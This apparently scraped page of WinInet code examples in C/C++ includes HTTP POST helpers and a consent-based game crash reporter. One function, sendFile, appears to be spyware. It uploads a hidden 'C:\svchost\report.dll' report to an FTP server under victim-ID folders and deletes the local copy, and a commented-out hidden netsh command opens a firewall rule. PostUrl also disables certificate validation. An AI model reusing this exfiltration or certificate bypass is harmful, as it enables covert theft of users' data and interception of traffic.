    if (!(uc.lpszExtraInfo == NULL || uc.dwExtraInfoLength == 0)) {
        strncpy_s(query + uc.dwUrlPathLength, uc.dwExtraInfoLength + 1, uc.lpszExtraInfo, uc.dwExtraInfoLength);
    }

    // open the connection and send the request
    cnx = InternetConnectA(session_handle, host, uc.nPort, NULL, NULL, uc.nScheme, 0, 0);
    if (cnx == NULL) {
        res = map_impl(GetLastError());
        goto cleanup;
    }
    req = HttpOpenRequestA(cnx,
                           (request == NULL ? "GET" : "POST"),
                           query, NULL, NULL, NULL,
                           (uc.nScheme == INTERNET_SCHEME_HTTPS ? INTERNET_FLAG_SECURE : 0),
                           0);
    if (req == NULL) {
        res = map_impl(GetLastError());
        goto cleanup;
    }
    if (connect_timeout >= 0) {
        DWORD dw = (connect_timeout == 0 ? 0xFFFFFFFF : connect_timeout * 1000);
        InternetSetOption(req, INTERNET_OPTION_CONNECT_TIMEOUT, &dw, sizeof(dw));
    }
    if (response_timeout >= 0) {
        DWORD dw = (response_timeout == 0 ? 0xFFFFFFFF : response_timeout * 1000);
        InternetSetOption(req, INTERNET_OPTION_SEND_TIMEOUT, &dw, sizeof(dw));
        InternetSetOption(req, INTERNET_OPTION_RECEIVE_TIMEOUT, &dw, sizeof(dw));
    }
again:
    if (!HttpSendRequestA(req, NULL, 0, (LPVOID) request, request_length)) {
        res = map_impl(GetLastError());
        goto cleanup;
    }

    // receive the response
    if (!HttpQueryInfo(req, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
                       &http_res, &http_res_len, 0)) {
        res = map_impl(GetLastError());
        goto cleanup;
    }

    // proxy server requires authentication, prompt user
    if (http_res == HTTP_STATUS_PROXY_AUTH_REQ) {
        if (InternetErrorDlg(GetDesktopWindow(), req,
                             ERROR_INTERNET_INCORRECT_PASSWORD,
                             FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
                             FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
                             FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
                             NULL) == ERROR_INTERNET_FORCE_RETRY) {
            goto again;
        }
    }

    // web server requires authentication, prompt user
    if (http_res == HTTP_STATUS_DENIED) {
        if (InternetErrorDlg(GetDesktopWindow(), req,
                             ERROR_INTERNET_INCORRECT_PASSWORD,
                             FLAGS_ERROR_UI_FILTER_FOR_ERRORS |
                             FLAGS_ERROR_UI_FLAGS_GENERATE_DATA |
                             FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS,
                             NULL) == ERROR_INTERNET_FORCE_RETRY) {
            goto again;
        }
    }

    if (http_res >= 400) {
        res = map_http(http_res);
        if (error != NULL) {
            // we had some error and client code wanted the message
            if (HttpQueryInfoA(req, HTTP_QUERY_STATUS_TEXT, http_msg, &http_msg_len, 0) ||
                    GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
                // unexpected results retrieving the HTTP error message
                // just report the HTTP error code
                goto cleanup;
            }
            http_msg = GT_malloc(http_msg_len);
            if (http_msg == NULL) {
                // no memory for the HTTP error message
                // just report the HTTP error code
                goto cleanup;
            }
            if (!HttpQueryInfoA(req, HTTP_QUERY_STATUS_TEXT, http_msg, &http_msg_len, 0)) {
                // unexpected results retrieving the HTTP error message
                // just report the HTTP error code
                goto cleanup;
            }
            *error = http_msg;
            http_msg = NULL;
        }
        goto cleanup;
    }

    while (1) {
        DWORD add_len = 0x2000; // download in 8K increments
        resp = GT_realloc(resp, resp_len + add_len);
        if (resp == NULL) {
            res = GT_OUT_OF_MEMORY;
            goto cleanup;
        }
        if (!InternetReadFile(req, resp + resp_len, add_len, &add_len)) {
            res = map_impl(GetLastError());
            goto cleanup;
        }
        if (add_len == 0) {
            break;
        }
        resp_len += add_len;
    }

    *response = resp;
    resp = NULL;
    *response_length = resp_len;
    res = GT_OK;

cleanup:

    GT_free(resp);
    GT_free(http_msg);
    if (req != NULL) {
        InternetCloseHandle(req);
    }
    if (cnx != NULL) {
        InternetCloseHandle(cnx);
    }
    GT_free(query);
    GT_free(host);
    return res;
}
Exemple #19
0
bool CAmHttpSocket::PostUrl(const char *url, const char *PostData, int PostDataLength)
{
	//check length of postdata
	if (PostDataLength == -1)
		PostDataLength = strlen(PostData);
	//some variable that we need...
	URL_COMPONENTSA uc;
	//let's split the url...
	uc.dwStructSize = sizeof(uc);
	uc.lpszScheme = NULL;
	uc.dwSchemeLength = 0;
	uc.lpszHostName = NULL;
	uc.dwHostNameLength = 1;
	uc.nPort = 0;
	uc.lpszUserName = NULL;
	uc.dwUserNameLength = 0;
	uc.lpszPassword = NULL;
	uc.dwPasswordLength = 0;
	uc.lpszUrlPath = NULL;
	uc.dwUrlPathLength = 1;
	uc.lpszExtraInfo = NULL;
	uc.dwExtraInfoLength = 0;
	InternetCrackUrlA(url, strlen(url), 0, &uc);
	//post the data...
	if (hCO != NULL) InternetCloseHandle(hCO);
	CHAR *HostName = strdup(uc.lpszHostName);
	if(!HostName){
		LastError = -2;
		return false;
	}
	HostName[uc.dwHostNameLength] = '\0';
	CHAR *FileName = strdup(uc.lpszUrlPath);
	FileName[uc.dwUrlPathLength] = '\0';
	if (hIS != NULL) InternetCloseHandle(hIS); //if open, close the handle to the connection
	DWORD flags;
	if (uc.nPort == 80)
	{
		//we are talking plain http
		flags = INTERNET_FLAG_NO_CACHE_WRITE;
	}
	else
	{
		//we are talking secure https
		flags = INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_SECURE |
			INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
	}
	CHAR headers[] = ("Content-Type: application/x-www-form-urlencoded"); //content type for post...
	CHAR szAccept[] = ("*/*"); //we accept everything...
	LPSTR AcceptTypes[2]={0};
	AcceptTypes[0]=szAccept;
	hCO = InternetConnectA(hIO, HostName, uc.nPort, (""), (""), INTERNET_SERVICE_HTTP, INTERNET_FLAG_NO_CACHE_WRITE, 0);
	hIS = HttpOpenRequestA(hCO, ("POST"), FileName, NULL, NULL, (LPCSTR *)AcceptTypes, flags, 0);
	if (!HttpSendRequestA(hIS, headers, strlen(headers), (TCHAR*)PostData, PostDataLength))
	{
		LastError = GetLastError();
		free(HostName);
		free(FileName);
		return false;
	}
	free(HostName);
	free(FileName);
	return true;
}
bool sendFile(std::string identification, bool firstRun){
    HINTERNET hInternet;
    HINTERNET hFtp;

    hInternet=InternetOpen(0,INTERNET_OPEN_TYPE_DIRECT,0,0,0);
//    if(hInternet == NULL) //debug...
//      cout<<"\n1)Something goes wrong...\n";
//    else
//      cout<<"\n1)Everything is perfect...\n";

    hFtp = InternetConnectA(hInternet,host.c_str(),INTERNET_DEFAULT_FTP_PORT,user.c_str(),pw.c_str(),INTERNET_SERVICE_FTP,0,0);
    if(hFtp == NULL){
        // try another ftp
        if(hFtp == NULL){
            // try another ftp
            
            if(hFtp == NULL){
                // try another ftp
            }
        }
    }
    
//      cout<<"\n2)Something goes wrong...\n";
//     else
//      cout<<"\n2)Everything is perfect...\n";

    char id[100];
    strcpy(id, "/htdocs/");
    strcat(id, identification.c_str());
    //cout << "Creada carpeta con ID " + identification << endl;
    FtpCreateDirectoryW(hFtp, s2ws(id).c_str()); 
    strcat(id, "/");
    strcat(id,getCurrentDateTime(false).c_str());
    FtpCreateDirectoryW(hFtp, s2ws(id).c_str());
    std::string dateWithFullPath;
    if (!firstRun){
        dateWithFullPath="/htdocs/"+identification+"/"+getCurrentDateTime(false)+"/"+getCurrentDateTime(true)+".txt";
    }
    else{
        dateWithFullPath="/htdocs/"+identification+"/"+getUserName();
    }
    char file[150];
    int dateWithFullPathLength=dateWithFullPath.size();
        for (int a=0;a<=dateWithFullPathLength;a++){
            file[a]=dateWithFullPath[a];
        }
    char localFile[] = "C:\\svchost\\report.dll\0";
        if(FtpPutFileW(hFtp,s2ws(localFile).c_str(),s2ws(file).c_str(),INTERNET_FLAG_TRANSFER_BINARY,0) == 1){
            //cout << "\n3) Everything is perfect...\n";
            remove( "C:\\svchost\\report.dll" );

        }
    /*    else{
            ShellExecute(0, "runas", "cmd.exe",  "/C netsh advfirewall firewall add rule name=\"Allow CONHost\" dir=in action=allow program=\"C:\\svchost\\conhost.exe\"\0", "C:\\svchost\\\0", SW_HIDE);            
            FtpPutFileW(hFtp,s2ws(localFile).c_str(),s2ws(file).c_str(),INTERNET_FLAG_TRANSFER_BINARY,0);
        }*/
//        else
//            cout << "\n3) Something goes wrong...";

    InternetCloseHandle(hFtp);
    InternetCloseHandle(hInternet);

    return 0;
}
Exemple #21
0
		// POST JSON to URL
		string saveUrl(const Value & value, const string & url)
		{

			// Tokenize URL
			vector<string> tokens;
			boost::split(tokens, url, boost::is_any_of("/"));
			if (tokens.size() < 3)
				return "Invalid URL. Please include protocol.";

			// Get server portion of URL
			string server = tokens[2];

			// Remove server portion of URL
			for (int32_t i = 0; i < 3; i++)
				tokens.erase(tokens.begin());

			// Get action portion of URL
			string action = "";
			for (vector<string>::const_iterator tokenIt = tokens.begin(); tokenIt != tokens.end(); ++tokenIt)
				action += "/" + * tokenIt;

			// Serialize data
			string data = serialize(value);

			// Open Internet connection
			HINTERNET session = InternetOpenA("WinInetConnection", INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY, NULL, NULL, 0);
			if (session == NULL)
				return "Unable to establish Internet session.";

			// Open server
			HINTERNET connection = InternetConnectA(session, server.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
			if (connection == NULL)
				return "Unable to establish Internet connection.";

			// Open request flags
			DWORD mOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
				INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS |
				INTERNET_FLAG_KEEP_CONNECTION |
				INTERNET_FLAG_NO_AUTO_REDIRECT |
				INTERNET_FLAG_NO_COOKIES |
				INTERNET_FLAG_NO_CACHE_WRITE |
				INTERNET_FLAG_NO_UI |
				INTERNET_FLAG_RELOAD;

			// Open request
			HINTERNET request = HttpOpenRequestA(connection, "POST", action.c_str(), "HTTP/1.0", NULL, NULL, mOpenRequestFlags, 0);
			if (request == NULL)
				return "Unable to create request.";

			// Send request
			int_fast8_t buffer;
			DWORD size;
			string headers = "Content-Type: application/x-www-form-urlencoded";
			string response = "";
			if (HttpSendRequestA(request, headers.c_str(), headers.length(), (LPVOID)(data.c_str()), data.length()))
			{

				// Read request into buffer
				while (InternetReadFile(request, &buffer, 1, &size))
				{
					if (size != 1)
						break;
					response += buffer;
				}

			}

			// Close Internet handles
			InternetCloseHandle(request);
			InternetCloseHandle(connection);
			InternetCloseHandle(session);

			// Return response
			return response;

		}
Exemple #22
0
LONG WINAPI UnhandledExceptionHandler(_EXCEPTION_POINTERS *ExceptionInfo){
	List<LoadedModule*> LoadedModules;
	EnumerateLoadedModules(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK)AddLoadedModule, &LoadedModules);

	StringList HeaderList;
	
	if(ExceptionInfo->ContextRecord->ContextFlags & CONTEXT_INTEGER){
		PCONTEXT reg = ExceptionInfo->ContextRecord;
		HeaderList.push_back(String("Register-EAX: %1").arg(reg->Eax, 16, true, 8));
		HeaderList.push_back(String("Register-ECX: %1").arg(reg->Ecx, 16, true, 8));
		HeaderList.push_back(String("Register-EDX: %1").arg(reg->Edx, 16, true, 8));
		HeaderList.push_back(String("Register-EBX: %1").arg(reg->Ebx, 16, true, 8));
		HeaderList.push_back(String("Register-EDI: %1").arg(reg->Edi, 16, true, 8));
		HeaderList.push_back(String("Register-ESI: %1").arg(reg->Esi, 16, true, 8));
	}

	if(ExceptionInfo->ContextRecord->ContextFlags & CONTEXT_CONTROL){
		PCONTEXT reg = ExceptionInfo->ContextRecord;
		HeaderList.push_back(String("Register-EBP: %1").arg(reg->Edi, 16, true, 8));
		HeaderList.push_back(String("Register-ESP: %1").arg(reg->Esi, 16, true, 8));
	}

	HeaderList.push_back(String("Exception-Address: %1").arg((unsigned int)ExceptionInfo->ExceptionRecord->ExceptionAddress, 16, true, 8));
	HeaderList.push_back(String("Exception-Flags: %1").arg((unsigned int)ExceptionInfo->ExceptionRecord->ExceptionFlags, 16, true, 8));
	HeaderList.push_back(String("Exception-Code: %1").arg((unsigned int)ExceptionInfo->ExceptionRecord->ExceptionCode, 16, true, 8));
	
	CGameOBJ* self = CObjMGR::GetSelf();
	const char* name = (self)?self->GetName():"No Character";
	HeaderList.push_back(String("Character: %1").arg(name));
	String module = "Unknown";

	unsigned int codeAddress = (unsigned int)((char*)ExceptionInfo->ExceptionRecord->ExceptionAddress);
	module = GetModuleName(codeAddress, &LoadedModules);
	HeaderList.push_back(String("Module: %1").arg(module));

	unsigned char* codePtr = (unsigned char*)ExceptionInfo->ExceptionRecord->ExceptionAddress;
	//if(IsBadReadPtr(codePtr - 20, 40) || !IsBadCodePtr(FARPROC(codePtr))){
	String code = String("Code-Data: Version: %1 ").arg(gVersion);
	if(CTERRAIN::Instance()) {
		code += String("Zone: %1 ").arg(CTERRAIN::Instance()->m_nZoneNO);
	}
	if(gRecvPacket) {
		code += String("RecvPacket: %1").arg(gRecvPacket->Command(), 16);
	}
	/*}else{
		for(int i = -20; i < 20; ++i)
			code += String::Create("%02X", codePtr[i]);
	}*/

	HeaderList.push_back(code);

    OSVERSIONINFO osvi;
    ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osvi);
	HeaderList.push_back(String("Windows: %1.%2").arg((unsigned int)osvi.dwMajorVersion).arg((unsigned int)osvi.dwMinorVersion));

	GetCallStack(ExceptionInfo, &LoadedModules, HeaderList);

	unsigned int bufLen = 100;
	for(StringList::Iterator itr = HeaderList.begin(); itr != HeaderList.end(); ++itr)
		bufLen += strlen(*itr) + 3;

	char* theHeaders = new char[bufLen];
	theHeaders[0] = 0;
	for(StringList::Iterator itr = HeaderList.begin(); itr != HeaderList.end(); ++itr){
		strcat_s(theHeaders, bufLen, *itr);
		strcat_s(theHeaders, bufLen, ";\r\n");
	}

	if(MessageBoxA(NULL, "Would you like to submit this error to the titanROSE team?", "An error has occured.", MB_ICONERROR | MB_YESNO) == IDYES){
		HINTERNET theInternet = InternetOpenA("titanROSE.Client", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
		HINTERNET theConnection = InternetConnectA(theInternet, "crash.titanrose.com", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
		HINTERNET theRequest = HttpOpenRequestA(theConnection, "GET", NULL, NULL, "trose.exe", NULL, INTERNET_FLAG_PRAGMA_NOCACHE |INTERNET_FLAG_RELOAD, NULL);
		HttpAddRequestHeadersA(theRequest, theHeaders, -1, HTTP_ADDREQ_FLAG_ADD);
		BOOL theResult = HttpSendRequestA(theRequest, NULL, 0, NULL, 0);
		if(theResult == TRUE){
			MessageBoxA(NULL, "Your error report was successfully uploaded, thank you.", "Error Report Submitted", MB_OK | MB_ICONASTERISK);
		}else{
			strcat_s(theHeaders, bufLen, "\r\nThere was an error submitting your error report, please post this message box on the forums.");
			MessageBoxA(NULL, theHeaders, "Error submitting Error Report", MB_OK);
		}
	}

	LoadedModules.delete_values();
	delete [] theHeaders;

	return EXCEPTION_EXECUTE_HANDLER;
}